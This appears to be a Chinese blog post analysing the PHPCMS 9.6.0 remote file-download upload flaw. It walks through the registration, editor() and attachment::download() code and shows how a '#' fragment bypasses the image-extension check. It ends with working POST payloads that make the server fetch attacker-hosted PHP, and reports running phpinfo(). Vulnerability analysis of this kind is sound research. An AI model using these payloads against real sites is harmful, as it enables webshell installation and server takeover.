PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞,该漏洞源于PHPCMS程序在下载远程/本地文件时没有对文件的类型做正确的校验。远程攻击者可以利用该漏洞上传并执行任意的PHP代码。
因为这个漏洞的触发点在于用户注册的页面,我们先正常走一遍漏洞注册的流程
phpcms/modules/member/index.php
在register()方法打一个断点,一行一行往下看,先熟悉一下整个注册的流程
然后我们可以在130行中找到关键代码段
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
}
可以看到这里先包含了两个CACHE_MODEL下的文件,并且在后面实例化了一个对象,且实例化对象传入的值是$userinfo[‘modelid’]
然后我们往上面找,发现$userinfo[‘modelid’]这个变量是我们可控的变量,进入到这个方法中,详细看看做了什么操作
caches/caches_model/caches_data/member_input.class.php
class member_input {
var $modelid;
var $fields;
var $data;
function __construct($modelid) {
$this->db = pc_base::load_model('sitemodel_field_model');
$this->db_pre = $this->db->db_tablepre;
$this->modelid = $modelid;
$this->fields = getcache('model_field_'.$modelid,'model');
//初始化附件类
pc_base::load_sys_class('attachment','',0);
$this->siteid = param::get_cookie('siteid');
$this->attachment = new attachment('content','0',$this->siteid);
}
简单看看这个__construct()方法,前面就是对数据库进行操作 $this->db就是指定了数据库,$this->db_pre就是指定了前缀,$this->modelid是我们可控的一个变量,这里传入的是10,然后这里的$this->fields的值是birthday,而$this->fields所取的值是由我们传入的$modelid变量可控的.下面就是初始化了一个附件类
然后我们重新回到phpcms/modules/member/index.php里面继续往下走
下面调用了$member_input->get($_POST[‘info’]);然后赋值给了$user_model_info
我们跟进get()方法看他做了什么操作
caches/caches_model/caches_data/member_input.class.php
function get($data) {
$this->data = $data = trim_script($data);
$model_cache = getcache('member_model', 'commons');
$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];
$info = array();
$debar_filed = array('catid','title','style','thumb','status','islink','description');
if(is_array($data)) {
foreach($data as $field=>$value) {
if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
$field = safe_replace($field);
$name = $this->fields[$field]['name'];
$minlength = $this->fields[$field]['minlength'];
$maxlength = $this->fields[$field]['maxlength'];
$pattern = $this->fields[$field]['pattern'];
$errortips = $this->fields[$field]['errortips'];
if(empty($errortips)) $errortips = "$name 不符合要求!";
$length = empty($value) ? 0 : strlen($value);
if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
if($maxlength && $length > $maxlength && !$isimport) {
showmessage("$name 不得超过 $maxlength 个字符!");
} else {
str_cut($value, $maxlength);
}
if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);
$info[$field] = $value;
}
}
return $info;
}
我们简单阅读一下这些代码 首先调用了trim_script()方法对我们传入的数据进行检测,我们再看一下这个方法做了什么
phpsso_server/phpcms/libs/functions/global.func.php
function trim_script($str) {
$str = preg_replace ( '/\<([\/]?)script([^\>]*?)\>/si', '<\\1script\\2>', $str );
$str = preg_replace ( '/\<([\/]?)iframe([^\>]*?)\>/si', '<\\1iframe\\2>', $str );
$str = preg_replace ( '/\<([\/]?)frame([^\>]*?)\>/si', '<\\1frame\\2>', $str );
$str = preg_replace ( '/]]\>/si', ']] >', $str );
return $str;
}
就是过滤一些特殊符号,防止xss等漏洞的产生,回到get()继续往下走,后面的操作就是对我们传入的数据进行检测,有没有不符合要求的数据等等
但是在47行
$func = $this->fields[$field][‘formtype];
这里传入$func的值正好是上面我们通过$modelid
获得的值,然后我们再看一下formtype对应的值是什么
在我们传入modelid=10的情况下,$field=birthday,然后birthday[formtype]=datetime
我们继续往下看,看这个$func会进行什么操作
在第48行可以看到if(method_exists($this, $func)) $value = $this->$func($field, $value);
这里调用了$func并传入了$field和$value
而这里的$field $value $func这三个变量我们都可以用
先找一下datetime()方法如何实现
caches/caches_model/caches_data/member_input.class.php
function datetime($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
if($setting['fieldtype']=='int') {
$value = strtotime($value);
}
return $value;
}
发现这个方法平平无奇,并没有能够让我们利用的点,所以我们就得从其他的方法下手,但是我们如何控制$func呢
这就要到我们的数据库看看了,我们重新回到member_input::__construct()方法去看他是对哪个数据库进行查询
发现是对v9_model_field这个数据表进行查询,那么我们直接把这个数据表中每一行数据modelid和对应的formtype数据列出来
+---------+------------+
| modelid | formtype |
+---------+------------+
| 1 | catid |
| 1 | typeid |
| 1 | title |
| 1 | image |
| 1 | keyword |
| 1 | textarea |
| 1 | datetime |
| 1 | editor |
| 1 | omnipotent |
| 1 | pages |
| 1 | datetime |
| 1 | posid |
| 1 | text |
| 1 | number |
| 1 | box |
| 1 | template |
| 1 | groupid |
| 1 | readpoint |
| 1 | omnipotent |
| 1 | box |
| 1 | copyfrom |
| 1 | text |
| 2 | catid |
| 2 | typeid |
| 2 | title |
| 2 | keyword |
| 2 | textarea |
| 2 | datetime |
| 2 | editor |
| 2 | image |
| 2 | omnipotent |
| 2 | pages |
| 2 | datetime |
| 2 | posid |
| 2 | groupid |
| 2 | text |
| 2 | number |
| 2 | template |
| 2 | box |
| 2 | box |
| 2 | readpoint |
| 2 | text |
| 2 | downfiles |
| 2 | downfile |
| 2 | text |
| 2 | box |
| 2 | box |
| 2 | box |
| 2 | text |
| 2 | text |
| 2 | box |
| 3 | box |
| 3 | template |
| 3 | text |
| 3 | number |
| 3 | posid |
| 3 | groupid |
| 3 | datetime |
| 3 | pages |
| 3 | omnipotent |
| 3 | image |
| 3 | editor |
| 3 | datetime |
| 3 | textarea |
| 3 | title |
| 3 | keyword |
| 3 | typeid |
| 3 | catid |
| 3 | box |
| 3 | readpoint |
| 3 | text |
| 3 | images |
| 3 | copyfrom |
| 1 | islink |
| 2 | islink |
| 3 | islink |
| 10 | datetime |
| 11 | catid |
| 11 | typeid |
| 11 | title |
| 11 | keyword |
| 11 | textarea |
| 11 | datetime |
| 11 | editor |
| 11 | image |
| 11 | omnipotent |
| 11 | pages |
| 11 | datetime |
| 11 | posid |
| 11 | groupid |
| 11 | text |
| 11 | number |
| 11 | template |
| 11 | box |
| 11 | box |
| 11 | readpoint |
| 11 | text |
| 11 | islink |
| 11 | video |
| 11 | box |
| 11 | box |
+---------+------------+
然后我们对这些能调用的方法进行排查看是否存在安全问题,我们发现editor()方法,存在如下代码
function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}
其中$value = $this->attachment->download(‘content’, $value,$watermark_enable);这一行值得我们注意,进一步查看
我们跟进到phpcms/libs/classes/attachment.class.php的download类
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);
$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}
简单阅读一下,理解这段代码的作用
$string = new_stripslashes($value); 因为$value是我们可控的变量,所以这里对他进行了过滤防止注入等漏洞的产生
然后下面对我们传入的值做了一个格式的要求 if(!preg_match_all(“/(href|src)=([\“|’]?)([^ \“‘>]+\.($ext))\\2/i”, $string, $matches)) return $value;
这个正则表达式的要求就是传入一个格式为<a href="http://www.p1ng.com/1.ext">
的数据
而这里的$ext就是$ext = ‘gif|jpg|jpeg|bmp|png’也就是要求我们只能传入这四个后缀的数据
dir_create($uploaddir);然后创建一个上传文件的目录
在调用了fillurl()方法对我们传入的数据进行进一步过滤
function fillurl($surl, $absurl, $basehref = '') {
if($basehref != '') {
$preurl = strtolower(substr($surl,0,6));
if($preurl=='http://' || $preurl=='ftp://' ||$preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule://'|| $preurl=='ed2k://')
return $surl;
else
return $basehref.'/'.$surl;
}
$i = 0;
$dstr = '';
$pstr = '';
$okurl = '';
$pathStep = 0;
$surl = trim($surl);
if($surl=='') return '';
$urls = @parse_url(SITE_URL);
$HomeUrl = $urls['host'];
$BaseUrlPath = $HomeUrl.$urls['path'];
$BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/",'/',$BaseUrlPath);
$BaseUrlPath = preg_replace("/\/$/",'',$BaseUrlPath);
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
if($surl[0]=='/') {
$okurl = 'http://'.$HomeUrl.'/'.$surl;
} elseif($surl[0] == '.') {
if(strlen($surl)<=2) return '';
elseif($surl[0]=='/') {
$okurl = 'http://'.$BaseUrlPath.'/'.substr($surl,2,strlen($surl)-2);
} else {
$urls = explode('/',$surl);
foreach($urls as $u) {
if($u=="..") $pathStep++;
else if($i<count($urls)-1) $dstr .= $urls[$i].'/';
else $dstr .= $urls[$i];
$i++;
}
$urls = explode('/', $BaseUrlPath);
if(count($urls) <= $pathStep)
return '';
else {
$pstr = 'http://';
for($i=0;$i<count($urls)-$pathStep;$i++) {
$pstr .= $urls[$i].'/';
}
$okurl = $pstr.$dstr;
}
}
} else {
$preurl = strtolower(substr($surl,0,6));
if(strlen($surl)<7)
$okurl = 'http://'.$BaseUrlPath.'/'.$surl;
elseif($preurl=="http:/"||$preurl=='ftp://' ||$preurl=='mms://' || $preurl=="rtsp://" || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/')
$okurl = $surl;
else
$okurl = 'http://'.$BaseUrlPath.'/'.$surl;
}
$preurl = strtolower(substr($okurl,0,6));
if($preurl=='ftp://' || $preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') {
return $okurl;
} else {
$okurl = preg_replace('/^(http:\/\/)/i','',$okurl);
$okurl = preg_replace('/\/{1,}/i','/',$okurl);
return 'http://'.$okurl;
}
}
再通过fileext()方法传入$file变量获取我们的$filename的值
再将获得的filename传入getname()方法中
function getname($fileext){
return date('Ymdhis').rand(100, 999).'.'.$fileext;
}
也就是一个生成随机数的方法,得到一个一般非法用户无法得到的文件名,再调用$upload_func方法进行文件下载
然后$upload_func在这个类初始化的时候就被设置成了copy所以就是调用copy方法
当程序走到这个copy方法的时候,我们的文件就成功上传了上去,但是这里的后缀名是不被我们所控制的,所以我们要再找找其他方法看看是否能绕过这个限制
这个时候.我们可以看到fillful()方法中存在这样一小段代码
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
这里对我们传入的url进行了截取操作,如果我们传入的url中存在#字符,就会截掉后面的内容,所以也就是说我们可以通过<a href=http://ip/exp.php#1.png>
到这一步我们整个漏洞的流程就清楚了,接下来就是exp的构造了
我们通过传入modelid数据,让程序不调用原本的datetime()方法而去调用editor()方法,成功调用editor()方法之后,我们还需要控制$value变量的值为我们传入目标服务器上面恶意文件的值
我们先按照正常流程来看一遍我们的$value是什么值
按照正常的流程,我们传入的value就是我们传入birthday的值,但是我们并不能直接用birthday来进行操作,因为前面有很多代码对这个值进行了过滤
而调用member_input::get()方法的时候,传入的是我们的$_POST[‘info’]的值,所以我们直接加一个info[exp]就行
所以我们最终的exp就是
siteid=1&modelid=11&username=p1&password=p1p1p1&pwdconfirm=p1p1p1&email=p1%40p1.com&nickname=pp&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=&info[exp]=<a%20href=http://127.0.0.1/1.php#1.png>
虽然能够将我们的恶意文件上传到服务器,那么我们如何获取这个文件的路径呢?
后面会有一个数据库插入数据的操作,
final public function insert($data, $return_insert_id = false, $replace = false) {
return $this->db->insert($data, $this->table_name, $return_insert_id, $replace);
}
因为这个数据表里面并没有我们传入的info或者exp等字段,就会报错,然后就会将我们的webshell路径爆破出来,成功实现文件上传到rce
抓取一个浏览器前台注册用户的数据包,对这个数据包中的参数进行修改
放上我们准备好的POC
siteid=1&modelid=11&username=p1ng&password=123456&email=pp2@test.com&info[content]=<img src=http://127.0.0.1:8000/p.txt?.php#.jpg>&dosubmit=1&protocol=
可以看到这里成功讲p.txt中的文件内容上传上去了
再访问成功执行phpinfo()
1 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!